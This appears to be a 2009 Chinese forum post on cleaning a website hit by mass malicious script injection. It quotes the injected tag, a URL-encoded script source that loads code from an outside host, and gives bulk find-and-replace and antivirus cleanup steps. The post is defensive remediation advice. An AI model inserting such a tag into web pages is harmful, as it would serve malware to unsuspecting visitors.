返回列表 发帖

Rank: 9Rank: 9Rank: 9

QQ
1# 跳转到 » 倒序看帖
打印
tT
shillan发表于 2009-6-23 21:16 | 只看该作者
现象：网站打开后速度很慢，杀毒软件报病毒，查看源代码发现如下代码
<script src=http://%77%76%67%37%2e%63%6e></script>

原因：网站被批量批马。
  
解决：
1、将网站打包下载，用ultraedit进行批量替换，查找<script src=http://%77%76%67%37%2e%63%6e></script>全替换为空。
2、对替换后的所有文件进行查毒（推荐利用avast!进行查毒），若发现病毒（一般为后门挂马程序，如图），记下其目录，在空间上将其删除。
3、将替换完并杀完毒的所有文件上传覆盖原来的文件。  
4、如果发现了挂马程序，也可以利用挂马程序自带的功能批量清马。
  
被挂马.jpg
收藏 分享
欢迎光临：逐梦论坛

返回列表

Powered by Discuz! 7.2　　 论坛QQ群：逐梦论坛群

© 2001-2021 Comsenz Inc.　鲁公网安备 37120302000001号